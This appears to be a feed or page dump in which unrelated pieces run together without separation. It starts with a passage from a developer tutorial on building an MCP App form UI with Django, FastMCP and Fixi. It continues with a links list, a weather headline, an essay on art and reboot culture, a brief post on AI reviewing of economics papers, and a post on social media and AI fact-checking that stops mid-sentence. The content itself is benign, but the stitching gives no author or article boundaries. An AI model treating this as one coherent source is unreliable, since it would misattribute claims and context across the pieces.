LLMs also enable new capabilities, such as programming your watch from a photo of a whiteboard. Even more importantly, Model Context Protocol (MCP) was starting to gain traction. MCPs are a way for LLM systems to interact with the real world, which means that besides just outputting workout programs, the LLM can call a remote function to actually send that workout to your device.

Anthropic and OpenAI both support MCP. So it would be awesome for my business to support LLM integrations since so many users already have Claude and ChatGPT installed on their phone.

Still, there were opportunities to further improve user experience.

I had mentioned earlier that my track club uses speedystride.com to program members’ watches. In order to do so, we have to define a few parameters:

  • What is the workout?
  • Should the workout be added to my Monday night track intervals, or for Tuesday fartleks?

LLMs can help massively with the first question. But how about the second? Much of the current human-to-LLM interaction is text-based, and MCPs are no exception. Besides improving workout building UX, AI tools introduced new frictions. To associate a workout with an event, I had an events tool that would fetch upcoming events for the user and add them to the LLM context. Then it was up to the LLM to guide the user. Some systems like Claude do provide simple select controls if your tools output JSON objects that look like a set of choices. However, this interaction forces the developer to surrender control of the happy path, which often leaves users confused. Also, the AI would sometimes try to be too helpful and just guess the tool inputs. In summary, back and forth conversation with the LLM is not an ideal UX as the users have to figure out how to guide the AI to the right inputs.

A form with a selector interface is an obvious way to solve this problem.

Luckily for me, the new MCP Apps specification was released in January 2026. This is an extension to the MCP specification that allows rendering custom UI inside an <iframe> of the MCP Host.

References:

MCP App Architecture

You need to host an MCP server that can communicate with the AI systems.

Communication model:

MCP Server <-Proxied Request-> LLM Host (Claude or ChatGPT) <-App Bridge-> MCP App UI (rendered inside LLM <iframe>)

All traffic between the MCP App UI and the LLM host must be routed through the App Bridge. The LLM host will then make proxied requests to my MCP server.

Interactive Hypermedia UIs in MCP Apps

Let’s say that we are developing a simple workout scheduler, where we have the LLM generated workout program. Our goal is to associate this workout with a calendar event occurrence. A user could have multiple events on her calendar, so a dynamic choice of occurrences should be available for each event she is subscribed to. On a traditional website, this could be trivially handled by a full page refresh.

On MCP App systems without interactivity, we would have to ask the LLM to fully render the MCP App in the chat. This adds friction and unnecessarily consumes tokens. So we must find a path to interactivity within the same UI context.

There are existing UI toolkits, such as MCP-UI that works really well with React. However, using React for a simple <form> felt too complex, so I wanted a hypermedia solution.

I initially considered using HTMX, since my HTTP site uses it already. The challenge was that HTMX is heavily geared towards processing HTTP requests. Since my MCP App UI renders inside an <iframe>, I don’t need to push URLs or manage history.

Then I remembered Fixi library from the creator of HTMX. It is a minimal version of generalized hypermedia controls. Fixi proved to be very useful precisely because it doesn’t do much. In addition to lacking history or URL push features, I can also copy & paste Fixi to my project to skip build steps. I also don’t have to worry about CSP configuration if my Fixi code is served with my HTML.

The killer feature of Fixi is its hackability. Because it expects a Response compatible object (or a Promise) rather than a strict network request, we can entirely bypass HTTP. I can configure Fixi to call app.callServerTool when it sees any fx-action that starts with tool:. If I use a <form>, its inputs will become the function args.

Let’s examine how to architect MCP features to serve hypermedia.

MCP App Lifecycle

From MCP docs:

  1. Create: Instantiate App with info and capabilities
  2. Connect: Call connect() to establish transport and perform handshake
  3. Interactive: Send requests, receive notifications, call tools
  4. Cleanup: Host sends teardown request before unmounting

We will focus on items 2 and 3 to demonstrate a hypermedia driven MCP App.

The MCP Server

MCP Server Architecture

I host my server on a Gunicorn + Uvicorn monolith. ASGI Django handles regular HTTP traffic, and MCP traffic is routed to FastMCP. Since both Django and FastMCP work together, I can share resources between the HTTP and MCP domains including ORM and template rendering.

The LLM host will render a UI by calling an MCP tool and its associated resource.

A tool is similar to a view- it is a function that can return JSON or hypertext. Let’s say that our UI tool is called show_user_ui.

A resource is a bit like a pointer to assets. LLM hosts can preload resources to deliver them more quickly to users.

Tools and resources are registered by @mcp.tool or @mcp.resource decorators. You could think of registration as defining urls.py in Django.

Since our Django and FastMCP Applications live on the same server, we can render HTML with Django’s render_to_string function with ORMs and templatetags. Django 6’s new built-in template partials also make template organization and partial rendering easy. This allows us to co-locate our initial UI render and our dynamic hypermedia fragments in a single file, keeping the MCP tool logic incredibly clean.

After lifecycle item 2: The initial MCP App render

Let’s talk about the resource first. It points to a HTML where our Fixi and MCP App Bridge code will be placed.

from django.template.loader import render_to_string


@mcp.resource(
    "ui://user_ui_resource.html",
    mime_type="text/html;profile=mcp-app",
    description="User UI resource",
)
async def user_ui_resource():
    return render_to_string("mcp/user_ui_resource.html")

This resource serves HTML rendered with render_to_string to resolve static files and template tags, but not any user-specific data.

mcp/user_ui_resource.html


<html>
<head>
    {% include "fixi, app bridge source code, styles, etc" %}

    <style>
        /* CSS indicator classes to toggle visibility during requests */
        #indicator {
            display: none;
        }

        #indicator.fixi-request-in-flight {
            display: inline-block;
        }
    </style>

    <script type="module">
        ...
        MCP
        App
        bridge
        setup
        ...

        // 1. Configure Fixi to route `tool:` fx-actions through MCP App bridge
        document.addEventListener("fx:config", (evt) => {
            const action = evt.detail.cfg.action;
            if (action.startsWith("tool:")) {
                const toolName = action.replace("tool:", "");
                console.log(`callServerTool: ${toolName}`);
                const args = Object.fromEntries(evt.detail.cfg.body ?? []);
                evt.detail.cfg.fetch = async () => {
                    const result = await app.callServerTool({name: toolName, arguments: args});
                    return {text: async () => result.structuredContent?.html};
                };
            }
        });

        // 2. Set up request indicator extension: ext-fx-indicator
        document.addEventListener("fx:init", (evt) => {
            if (evt.target.matches("[ext-fx-indicator]")) {
                let disableSelector = evt.target.getAttribute("ext-fx-indicator")
                evt.target.addEventListener("fx:before", () => {
                    let disableTarget = disableSelector === "" ? evt.target : document.querySelector(disableSelector)
                    disableTarget.classList.add("fixi-request-in-flight")
                    evt.target.addEventListener("fx:after", (afterEvt) => {
                        if (afterEvt.target === evt.target) {
                            disableTarget.classList.remove("fixi-request-in-flight")
                        }
                    })
                })
            }
        });

        // 3. Populate UI on initial render with dynamic content fetched with `show_user_ui` tool
        app.ontoolresult = (params) => {
            document.body.innerHTML = params.structuredContent?.html ?? document.body.innerHTML;
        };
    </script>
</head>

{# Empty body, since `app.ontoolresult` will populate it on load #}
<body></body>

{% partialdef save-form-fragment %}
<div id="save-form-fragment">
    Workout {{ workout.id }} has been saved for {{ workout.occurrence.event.id }} on {{ workout.occurrence.start_date
    }}.
</div>
{% endpartialdef %}

{% partialdef main-contents %}
<div id="main-contents">
    <form>
        <input name="workout_dsl" type="hidden" value="{{workout_dsl}}">

        <select
                id="event-selector"
                name="event_id"
                fx-action="tool:render_occurrences_fragment"
                fx-target="#occurrence-fragment"
                fx-swap="outerHTML"
        >
            <option>-----</option>
            {% for evt in events %}
            <option value="{{ evt.id }}">{{ evt.name }}</option>
            {% endfor %}
        </select>

        {% partialdef occurrence-fragment inline %}
        <select id="occurrence-fragment" name="occurrence_id">
            {% for occ in occurrences %}
            <option value="{{ occ.id }}">{{ occ.start_date }}</option>
            {% endfor %}
        </select>
        {% endpartialdef %}

        <button
                type="submit"
                fx-action="tool:save_form_fragment"
                fx-swap="outerHTML"
                fx-target="#main-contents"
                ext-fx-indicator
        >
            <span>Save Workout</span>
            <svg id="indicator">...</svg>
        </button>
    </form>
</div>
{% endpartialdef %}
</html>

This HTML resource defines three core pieces of logic within its <script> tag:

  1. Event listener for fx:config: We can use fx-action attribute to make MCP tool calls.
  2. Event listener for fx:init: Set up an indicator to show that a tool call is being processed.
  3. Handle app.ontoolresult: Display the main UI with the output by processing CallToolResult.

The LLM will load the resource in the chat, and then call show_user_ui tool, which renders the main-contents template partial.

from django.template.loader import render_to_string

from mcp.server.fastmcp import FastMCP
from mcp.server.fastmcp import Context
from mcp.types import CallToolResult

from events.models import Events, Occurrences
from workout_validator import validate_program, DSLValidationError

mcp = FastMCP(...)


@mcp.tool(
    name="show_user_ui",
    description="Display UI",
    meta={"ui/resourceUri": "ui://user_ui_resource.html"}
)
async def show_user_ui(ctx: Context, workout_dsl: str) -> CallToolResult:
    user = await get_user_from_context(ctx)

    try:
        validate_workout = validate_program(workout_dsl)
    except DSLValidationError as e:
        ...
        handle
        invalid
        workout
        data...

    initial_events_qs = Events.objects.filter(user=user)
    initial_events = [evt async for evt in initial_events_qs.aiterator()]

    if len(initial_events) > 0:
        initial_occurrences_qs = Occurrences.objects.select_related("event").filter(
            event_id=initial_events[0]).order_by("start_date")
        initial_occurrences = [occ async for occ in initial_occurrences_qs.aiterator()]
    else:
        initial_occurrences = []

    template_context = {"user": user, "workout_dsl": workout_dsl, "events": initial_events,
                        "occurrences": initial_occurrences}
    rendered_html = render_to_string("mcp/user_ui_resource.html#main-contents", template_context)

    return CallToolResult(
        content=[TextContent(type="text", text="UI ready")],
        structuredContent={"html": rendered_html}
    )

Args for show_user_ui:

  • ctx: object will allow us to authenticate our users, and is passed to our tool by the LLM host.
  • workout_dsl: AI will generate and pass this parameter. We will render our HTML with this data stored in <input type="hidden"> and save it later.

Return values from show_user_ui:

  • content: An array of text or other data to show the User/LLM
  • structuredContent: Rendered hypertext

MCP’s ontoolresult handler will insert structuredContent.html into <body> tag to render our initial UI.

Note that this innerHTML assignment is reasonably safe in our context. The only untrusted input here is AI generated workout_dsl, and we run validation on it before rendering our template.

Lifecycle 3: Rendering Hypermedia Fragments

Now we have a full <form> with two <select> controls. How do we add interactivity for our event occurrence selectors? Every time the user changes #event-selector option, we should update our options shown in #occurrence-fragment with a new tool. We need to use template fragments to fetch occurrence options for different events without triggering another UI render.

Let’s first examine how Fixi will trigger a fragment request. Scroll back above and read #event-selector defined in #main-contents.

We see these Fixi attributes:

  • fx-action: Calls render_occurrences_fragment MCP tool. Fixi will bind fx-action to appropriate default events, such as change for <select>.
  • fx-target: Insert render_occurrences_fragment tool’s HTML output in the #occurrence-fragment div
  • fx-swap: Use outerHTML swap on #occurrence-fragment, which replaces this div instead of inserting contents.

Below shows occurrence HTML fragment rendering occurrence-fragment Django template partial. This tool’s output will replace #occurrence-fragment.

from events.models import Occurrences


@mcp.tool(
    name="render_occurrences_fragment",
    description="Fetches event occurrences available to the logged in user",
    meta={"ui": {"visibility": ["app"]}}
)
async def render_occurrences_fragment(ctx: Context, event_id) -> CallToolResult:
    ...
    validate
    event_id and authenticate
    user...

    occurrences_qs = Occurrences.objects.select_related("event").filter(
        event_id=event_id
    ).order_by("start_date")
    occurrences = [occ async for occ in occurrences_qs.aiterator()]

    rendered_html = render_to_string("mcp/user_ui_resource.html#occurrence-fragment", {"occurrences": occurrences})
    return CallToolResult(
        text="Here are this user's event occurrences",
        structuredContent={"html": rendered_html}
    )

It does not make sense for LLM to fetch this HTML fragment by itself, so we can set meta={"ui": {"visibility": ["app"]}} registration parameter to prevent unnecessary tool calling.

Finally, let’s submit this form. This action is triggered by <button>, and all of the <form> fields will be sent to save_form_fragment as function args.

from workouts.models import Workout
from events.models import Events, Occurrences


@mcp.tool(
    name="save_form_fragment",
    description="Saves workout",
    meta={"ui": {"visibility": ["app"]}}
)
async def save_form_fragment(ctx: Context, workout_dsl, event_id, occurrence_id) -> CallToolResult:
    ...
    validate
    args and authenticate
    user...
    occurrence = await Occurrences.objects.select_related("event").aget(id=occurrence_id, event_id=event_id)
    workout = await Workout.objects.acreate(occurrence=occurrence, workout_dsl=workout_dsl)

    # Render the events fragment
    rendered_html = render_to_string("mcp/user_ui_resource.html#save-form-fragment", {"workout": workout})
    return CallToolResult(
        text="Workout saved",
        structuredContent={"html": rendered_html}
    )

The submit indicator is defined by configuring Fixi event fx:init to add .fixi-request-in-flight class to #indicator SVG inside our submit button if it has ext-fx-indicator attribute. After this, the interaction cycle is finished. If the user wants to make modifications, she can ask the AI to render a new UI or visit the website to make quick changes.

Demo

Here is a demo of this application in action:

Conclusion

I hope to have demonstrated a simple way to develop user interfaces that work well with AI. MCP Apps introduce a new rendering environment, but hypermedia systems continue to work well in this context with some modifications.

This is worth emphasizing because the current zeitgeist when building with AI is to reach for a client-side framework. But the constraints of MCP Apps actually push in the opposite direction. Your <iframe> cannot talk directly to your server and every interaction must cross the bridge. The less state and logic you pack into the client, the less surface area you have for things to go wrong across that boundary.

Throughout my design process, I tried to channel Nintendo’s Gunpei Yokoi: What can we do with old-fashioned technology using lateral thinking? I was able to sidestep complex drag-and-drop form builders by combining a small DSL with AI and hypermedia. Integrating MCP Apps solved the friction of coaxing the AI to select the right inputs, and using hypermedia made the entire system almost trivially simple: forms, selectors, fragment updates, loading indicators. Simplicity does not guarantee success, but I think that it will give me a better fighting chance.

Special thanks to Carson Gross for creating Fixi, HTMX, and Hyperscript, and for encouraging me to write this post.

Links 3/19/26

Links for you. Science:

The NIH Restructuring Congress Rejected Is Happening Anyway
Dentists still write millions of prescriptions a year for an antibiotic with life-threatening risks
Matrilineal networks may be the key to understanding Neanderthal mixture
How are asymptomatic COVID-19 cases tracking?
Epistasis and co-adaptation in bacterial genome evolution
Glyphosate is driving a rift in MAHA. Here’s what the science says about its effects on health

Other:

With Us or Against Us, Again. Congress didn’t authorize this war, and the only response to questions is a loyalty test we’ve fallen for before. (excellent)
This Monument Is the Latest Casualty in Trump’s War on Public Lands
Congestion Pricing Wins in Court After Lengthy Battle With Trump
Let’s Face Facts: This Isn’t Going Well (Iran War Edition)
Kash Patel’s latest firings ousted agents with expertise in Iran
Prior to Iran attacks, CIA assessed Khamenei would be replaced by hardline IRGC elements if killed, sources say
Why Is The Cook County State’s Attorney Prosecuting Nonviolent ICE Protesters? A Block Club investigation found dozens of protesters arrested by state police are still facing criminal charges for minor infractions, such as sitting on a concrete barrier — even after Gov. JB Pritzker vowed to protect their First Amendment rights.
Brad Lander Is Building a United Progressive Front
Greg Bovino, other federal agents investigated for Operation Metro Surge actions
What Both Journalists and MAGA Voters Misunderstood About Trump and War
Six data-driven reasons Texas could actually go blue in 2026
A Rational Analysis of the Effects of Sycophantic AI
Indefinite Book Club Hiatus
Park Service to Revive Statue of Founding Father Who Enslaved Hundreds
Minnesota launches investigation that could bring charges against US immigration officers
How ICE deportations are impacting people experiencing homelessness in D.C.
Trump’s top deportation thug could finally face consequences
ChatGPT uninstalls surged by 295% after DoD deal
Medicaid is paying for more dental care. GOP cuts threaten to reverse the trend.
Internal DHS watchdog: Noem is obstructing our work
Trump’s Iran war gets cold reviews from MAGA-friendly influencers
Before you share that story about how troops were told the Iran War is for “Armageddon,” read this
This time, Boston City Council unanimously supports mayor’s order banning ICE from city property
RFK Jr. demands Dunkin’, Starbucks prove sugary beverages are ‘safe’
Pseudoscientific Push to Frame Abortion as a ‘Water Quality’ Issue Rears Its Head in Iowa
Betting Against Increased Taxes, DraftKings Is Spending Big on Illinois State Races
‘America Doesn’t Want My Children or Grandchildren’
DHS’s use of secretive legal weapon draws congressional scrutiny
JD Vance, the New Racist Populism Czar
Kansas Senate votes to subvert students’ First Amendment right to join public protests

Early Spring Heat Wave in the Southwest U.S.; Critical Fire Weather in the Central Rockies and Plains

The Shock of the Old

During the 15th century, the leading critics all agreed that the greatest works of art came from an unusual place. No, not a museum or church or palace—they were found, instead, underground and amid ruins, literally covered in dirt.

Before you could see them, you first had to dig them up.

Can we even imagine this attitude today? Our whole hierarchy of aesthetics would need to be reversed. Just consider the shame of admitting that our most cherished cultural legacy had been buried and forgotten by our ancestors. Art appreciation gets turned into some kind of exhumation.

But the reaction to this rediscovered art was just as interesting as the sculptures themselves. How do you feel when you look at these works?

Ancient sculpture rediscovered during the Renaissance

You probably aren’t shocked by the nudity. You’ve seen more salacious stuff on Netflix. In fact, you probably aren’t shocked by anything here—these statues feel very old fashioned and antiquated.

That’s an interesting word, antiquated. It means “old, and no longer useful.” If the plumbing in your house is antiquated, you’re in big trouble. And it’s even worse if you are antiquated.


If you want to support my work, please take out a premium subscription (just $6 per month).

Subscribe now


The word comes from the same root as antiquities—a term applied to arts and artifacts from the past. And most observers today would put the two ideas together, and say that these old statues might be charming to see in a museum, but have little or no relevance to us today.

But that’s not how Michelangelo, Raphael, and other Renaissance artists saw them.

These works were more than a thousand years old, but the leading 16th century artists believed they were worthy of study and imitation. Even more shocking, the great minds of the Renaissance believed that such works represented timeless standards of artistic excellence that could not be erased by the passing centuries.

In other words, evaluating art was like pursuing the good life. After you discovered the pathway to do that, you kept to the course. It didn’t go stale like a loaf of bread. It wasn’t a fad or a trend, but something enduring. The same thing is true of good health or a good marriage—you want them to endure, not get replaced by the next new thing.

Five hundred years later, leading critics believed the exact opposite. Standards were not timeless, but constantly in flux. During the 20th century, art was supposed to disrupt the standards from the past. If a work made you uncomfortable, all the better—you needed a kick in the ass. If the Venus de Milo hadn’t already lost her arms, some witty critic would probably suggest that we cut them off. That would give you a jolt, huh?

This notion of disruption was already prevalent a hundred years ago. And the kicks aimed at your posterior came from all directions. Critic Robert Hughes called this the “Shock of the New.”

The individual asskicks were the -isms.

There’s surrealism, dadaism, cubism, futurism, brutalism, fauvism, abstract expressionism, deconstructionism, postmodernism, serialism, minimalism, and so forth and so on. You could make a patter song from all of them.

Critics placed wagers on them, as if they were horses at the track. If they made a smart bet, they could reap a windfall. Their reputation was enhanced, and also their wallet. I’m reminded of the elite art critic who launched the careers of painters, and sent the market price of their works skyrocketing—but only after he had accumulated some choice specimens for his own collection. In the finance world, this is called insider training.

The suffix -ism originally denoted a doctrine, theory, or worldview. Or even a religion, such as Judaism or Buddhism. These aesthetic -isms were also a bit like religions, inspiring fervent loyalty.

But there was a big difference. Religions like Judaism or Buddhism last for thousands of years. But aesthetic theories come and go. None of the artistic -isms lasted very long. Today’s -ism soon becomes yesterday’s was-ism.

That’s a little strange, because the advocates of the -isms all promised that they were delivering the blueprint for the future. And then we finally get to the future—and what do we see?

In the year 2026, the dominant aesthetic theory is the Shock of the Old. Of course nobody describes it that way. But they should. Because it’s scandalous how much we rely on old formulas for current day artistic work. We’ve returned to digging into the dirt of the past for artistic inspiration.

Some of it is positively antiquated. Consider the most popular blueprint for Hollywood movies today—it’s called the Hero’s Journey. And it’s based on ancient myths and epics even older than the Apollo Belvedere.

Storytelling formula

Who would have guessed it? The bosses in Hollywood now clearly believe in timeless universal standards—much like Michelangelo back in the Renaissance. They are literally embracing a role model that is more than two thousand years old!

The same archaeological mindset is evident in the music business. Major labels not only prefer older styles of music, but even imitation is not good enough for them. They actually want to own the old songs, and invest their free cash flow in acquiring old publishing catalogs.

Every other field of aesthetic judgment is equally obsessed with old formulas. You see it in TV shows, comic books, video games, etc. Back in the day, this was called classicism. Nowadays it’s called the reboot. The audience now gets a reboot in the posterior, whether they want it or not.

The idea is the same as in movies. You imitate the dead. The only thing missing is the -ism. And that’s for a good reason.

The -ism implies a coherent theory or artistic purpose. And those simply don’t exist in the world of the reboot. There is no theory of rebootism, or manifesto of brand franchise-ism, or movie-sequel-ism.

Of course, there is a purpose to these creative works, but it’s a financial purpose not an aesthetic one. The reboot is expected to make money—end of story.

And that’s the true Shock of the Old. Old styles have taken over the entire creative landscape—but without any conceptual underpinnings, larger meaning, or creative mission. If you doubt this, just look at the words used to describe these reboots. They are called brands or content or franchises. That’s the language of marketing, not aesthetics.

You might think that the businesses foisting these antiquities would at least pretend otherwise. But they don’t even bother to hide their motives, using MBA terminology and techniques to describe what previous generations viewed with reverence as art.

That doesn’t have to be the case. We still have Michelangelo’s option available to us. He could find universal wisdom in the past because of the timeless qualities of the human form and the human condition. We could do the same. We could seek out the timeless—if we cared enough to make an effort.

But that’s not happening in reboot culture. These brand extensions have nothing to do with seeking the eternal elements of the human condition. They’re just a way to generate cash flow and boost the share price.

That’s what makes the current cultural situation feel so flat and stagnant. If your purpose is just to make a buck, you can serve up a superhero movie or reboot an old TV show. But you might as well share prank videos on TikTok or AI slop on YouTube.

That’s actually happening. In the absence of actual artistic values, this culture of repetition and regurgitation inevitably results in a race to the bottom. And, as always happens in a downward journey, the speed of your fall increases rapidly. We’re just three years, more or less, into the AI revolution and it already feels like a freefall into the abyss.

Slop is everywhere, polluting all the creative fields. And it provides a frightening extension of Gresham’s law of economics. Gresham, as you may know, famously announced that bad money drives out good—so that a rise of counterfeit bills inevitably leads to the disappearance of real cash. That’s what is happening to our current culture: slop overwhelms the system and marginalizes the real creative works of human artists.

I’m now seeing this firsthand as a music critic, and its scary. The platforms I rely on for access to new recordings are all contaminated. They are filled with frauds, impersonations, and scams—most of them driven by AI. Just in the last month, the number of bogus recordings on Spotify has reached such an extreme level that anything promoted by the company’s algorithm feels potentially tainted.

Here’s where I make a prediction.

This limp, empty approach to culture is a dead-end. People will soon demand something more from the creative economy—something riskier, something more inspiring, something more disruptive. Above all, they will insist on something more human.

Or maybe they will even seek out something more timeless on a larger scale. This would be a kind of art-making that contributes to human flourishing and a deeper understanding of who we are and what we can do.

They are unlikely to get it from the large entertainment platforms. And I’m even more certain that they won’t get it from an AI chatbot. But sooner or later, people will find it somewhere.

I know that because I can feel the hunger for it everywhere. You tell me this in your comments and emails. I feel it myself.

And when it arrives, it will shake things up on a massive scale—akin to what happened with Romanticism, circa 1800 or Modernism, circa 1900. We will have something more than a culture built on scams and a constantly ringing cash register.

I’m confident in predicting this because the only other alternative is living in the past. Organisms that try to do that get killed off. If you bet on them, it’s a losing wager. And, above all, don’t be one yourself—because there’s no reboot yet for people, despite all the promises made by the transhumanists.

Each of us needs to be fresh and vital to survive. All we want is a culture that does the same. Is that too much to ask?

Is AI currently helping economic research?

The third possibility, that AI helps to weed out mistakes, is trickier for the discipline. This stage could become even more important if journals do start to be hit by a wave of AI-generated slop — or, perhaps more likely, good papers with so many appendices and robustness checks that even the most dedicated referee is defeated. (The real “Dr Robust” does not have infinite energy.)

Eager to embrace the new technology, several of the top five economics journals are already experimenting with Refine, an impressive AI-powered reviewing tool that scours economics papers for errors. Ben Golub, one of its creators, shared that even with papers that had been through referees at top journals, Refine was picking up problems in at least a third of cases.

Here is more from Soumaya Keynes at the FT.

The post Is AI currently helping economic research? appeared first on Marginal REVOLUTION.

       

Comments

Related Stories

 

Save us, Digital Cronkite!

Photo by Thomas J. O'Halloran via Wikimedia Commons

I’ve been writing some pessimistic things about AI recently, so I thought I should try to balance those out with some optimistic takes. One way I think AI could really help our society is by injecting reasonableness and moderation into our public discourse.

I’m known as a pretty nice and reasonable blogger nowadays. But when I got started, as an angry graduate student in 2011 trying to distract himself from his dissertation, I was genuinely snarky. Going back and rereading some of my posts from that era makes me chuckle, but also wince a little bit. The genteel éminence grises who sat atop the hierarchy of the very hierarchical economics profession just had no idea how to deal with a snarky, internet-native Millennial who was willing to talk back.

That snarky bravado, though sincere, was how I (accidentally) forced myself into the influencer elite. Paul Krugman, Brad DeLong, and other established bloggers liked how I tweaked the tails of the stuffy New Classical macroeconomists who pooh-poohed fiscal stimulus. So they boosted me on their own blogs, and pretty soon almost everyone in the economics profession knew my name — deservedly or not. Then I got Twitter, and I started tweeting way too much, and the rest is history. Notably, it was my political tweets — anti-Trump stuff in 2015-2020 — that got me my biggest bump in social media followership, rather than my economic insights.

In the media world of 1991, this career path would have been a LOT harder to pull off. I could have been a newspaper columnist or perhaps even a TV show host, but it would have been a long hard slog, gatekept by a bunch of editors who embodied the conventional wisdom of an older generation. My best bet for breaking in as an irreverent, independent voice probably would have been talk radio. In the media world of 1971, forget about it — I would have zero chance of breaking in to a discourse dominated by broadcast TV and big newspapers.

We can wonder whether the world would have been better or worse had I never become a public intellectual (hopefully, because you read this blog, your answer is “better”). But in my personal opinion, it’s pretty clear that the phenomenon of outsiders breaking in to the discourse with aggression and social media attention-seeking has gone too far. There is very clear evidence that social media — far more than the traditional media it replaced — has led to the elevation of divisive voices and bad actors.

For example, Bor and Petersen (2021) find that social media draws malignant, status-seeking people who use hostility to get attention and power:

Why are online discussions about politics more hostile than offline discussions?…Across eight studies, leveraging cross-national surveys and behavioral experiments (total N = 8,434), we [find that] hostile political discussions are the result of status-driven individuals who are drawn to politics and are equally hostile both online and offline. Finally, we offer initial evidence that online discussions feel more hostile, in part, because the behavior of such individuals is more visible online than offline. [emphasis mine]

Basically, spreading hate and divisiveness on social media is a form of entrepreneurship. As Eugene Wei has written, social media is all about getting social status. 10,000 followers on X may not sound like a media empire to rival CBS News, but for most people it’s more attention than they would otherwise get in their entire life. For malignant individuals who crave status and attention and enjoy spreading fear and hate, social media is a natural platform for their dark dreams.

This is especially effective because the psychology of viral content tends to spread negativity more than positivity. Here’s Knutson et al. (2024):

We analyzed the sentiment of ~30 million posts (on twitter.com) from 182 U.S. news sources that ranged from extreme left to right bias over the course of a decade (2011–2020). Biased news sources (on both left and right) produced more high arousal negative affective content than balanced sources. High arousal negative content also increased reposting for biased versus balanced sources…Over a decade, the virality of high arousal negative affective content also increased, particularly in…posts about politics. Together, these findings reveal that high arousal negative affective content may promote the spread of news from biased sources.

And Brady et al. (2021) find that social media outrage is a self-reinforcing process:

Moral outrage shapes fundamental aspects of social life and is now widespread in online social networks. Here, we show how social learning processes amplify online moral outrage expressions over time. In two preregistered observational studies on Twitter (7331 users and 12.7 million total tweets) and two preregistered behavioral experiments (N = 240), we find that positive social feedback for outrage expressions increases the likelihood of future outrage expressions, consistent with principles of reinforcement learning.

Together, these effects probably explain why negative content — especially about people’s political enemies — is so much more common than positive content on social media. Here’s Watson et al. (2024):

Prior research demonstrates that news-related social media posts using negative language are re-posted more, rewarding users who produce negative content…Data from four US and UK news sites (95,282 articles) and two social media platforms (579,182,075 posts on Facebook and Twitter, now X) show social media users are 1.91 times more likely to share links to negative news articles….[U]sers [show] a greater inclination to share negative articles referring to opposing political groups. Additionally, negativity amplifies news dissemination on social media to a greater extent when accounting for the re-sharing of user posts containing article links. These findings suggest a higher prevalence of negatively toned articles on Facebook and Twitter compared to online news sites.

And as if that wasn’t bad enough, social media platforms algorithmically amplify divisive content, probably as a business strategy! Here’s Milli et al. (2024):

In a pre-registered algorithmic audit, we found that, relative to a reverse-chronological baseline, Twitter's engagement-based ranking algorithm amplifies emotionally charged, out-group hostile content that users say makes them feel worse about their political out-group.

And research also finds that algorithmic feeds tend to increase political polarization.

In other words, the rise of social media created a revolution in political discourse. The old-school monopoly of big newspapers and TV stations — already under strain from the Web and from increased entry and competition — was overthrown by a giant mob of wannabe influencers, using divisiveness, partisanship, ideology, tribalism and negative emotions to get attention and status.

I call these people the Shouting Class. The most successful among them include people like Nicholas Fuentes, a literal Hitler supporter who has called for women to be sent to “gulags”; Candace Owens, a conspiracy theorist and antisemite; and Hasan Piker, who has said that America deserved the 9/11 attacks. But the real damage is probably done by the vast legions of smaller-time shouters, all dreaming of becoming the next Fuentes or Owens or Piker. If you’re on X or Bluesky, you can probably name a few of them.

Regular people know, of course, that social media is ruled by monsters great and small. Here’s a poll from 2020 showing that Americans think social media has a negative effect on their society:

Source: Pew

And here’s a recent poll showing that Americans trust social media less than just about any other institution:

Source: The Collective Intelligence Project via Isaac King

Increasingly, Americans are getting off social media. But because the normal, moderate Americans are leaving first, this just cedes the field of influence to the extremists. This is from Törnberg (2025):

Overall platform use has declined, with the youngest and oldest Americans increasingly abstaining from social media altogether. Facebook, YouTube, and Twitter/X have lost ground, while TikTok and Reddit have grown modestly…Across platforms, political posting remains tightly linked to affective polarization, as the most partisan users are also the most active. As casual users disengage and polarized partisans remain vocal, the online public sphere grows smaller, sharper, and more ideologically extreme.

This is, of course, not the first time that new media technologies have opened up opportunities for divisive entrepreneurs to use hate and fear to boost their careers. Consider Charles Coughlin, a right-wing radio host in the 1930s, who called for an end to democracy and labeled Hitler a “hero”. Coughlin, whose ideas are recognizably similar to those of Fuentes or Tucker Carlson today, used a new media technology (radio) and a constant stream of negativity to break into the public consciousness and establish himself as an influencer.

Why did the Charles Coughlins give way to the staid, centrist Big Media of the mid-20th century? Monopoly power. Big newspapers gradually built local monopolies that made it hard for upstarts to break in using sensationalism (as they had done in earlier decades). Limited spectrum availability insulated broadcast TV stations and radio stations from competition.1

Those gatekeepers inevitably lost power as new technologies allowed new entrants to get inside the walls. Cable TV led to the rise of talk show hosts like Sean Hannity, Tucker Carlson, and Rachel Maddow. Talk radio led to Rush Limbaugh and Michael Savage. The Web led to blogs like the Drudge Report. All of these new entrants used divisiveness and negative emotion to break in. Social media just supercharged the process.

Arguably, American society hasn’t recovered from the blow that the rise of social media dealt it. Other societies seem to be a little bit more insulated from social media’s deleterious effects, due to their greater homogeneity and centralization — but only a bit. The problem is global.

The question now is what can save us from the tyranny of the Shouting Class. Who can be the next Walter Cronkite?

I used to think that this was a job for the owners of platforms themselves — that if they really wanted to, people like Elon Musk could tweak their algorithms and moderate their content to suppress the most divisive shouters and reward balance and reasonableness. I no longer think this will work. Watching the management of Bluesky try and fail to halt that platform’s descent into madness, and watching Elon’s algorithmic tweaks produce at best a slight conservative shift in opinion, I’m a lot more pessimistic about the ability of wise corporate management to suppress the Shouting Class. And given the fact that Elon has elevated some of that class’ worst members, I’m also more pessimistic about the desire of management to become CBS News.

Which leaves us with AI.

Art by Nano Banana Pro

Anyone who has used X has noticed the “call Grok” feature. If you’re a premium subscriber, you can always just tag Elon’s favorite LLM and get it to answer questions and deliver relevant facts. Dan Williams writes that this type of LLM fact-checking will reintroduce expertise and technocratic fact-based analysis back into public discussions:

First, unlike human experts, [LLMs] can rapidly deploy encyclopaedic knowledge to answer people’s idiosyncratic questions. Their responses can be probed, scrutinised, and questioned without them ever getting tired or frustrated. They won’t just tell you that there is no persuasive evidence for a link between vaccines and autism. They can carefully walk you through the kinds of evidence we have and address your specific sources of scepticism. This partly explains why they can be highly persuasive, even in correcting conspiratorial beliefs that many assumed were beyond the reach of rational persuasion.

Second, LLMs typically share information politely and respectfully. This not only differs from the performative, gladiatorial character of much debate and discussion on social media platforms, but also improves on much communication by human experts. Being human, experts are often biased, partisan, and simply annoying, and when they seek to “educate” the public, it can be perceived—and is sometimes intended—as condescending and rude. In contrast, LLMs deliver expert opinion without such status threats.

In fact, there is evidence that this works. Despite widespread worry that AI will become a machine for confirmation bias — simply telling people what they want to hear — Renault et al. (2026) find that Grok is actually a decent fact-checker:

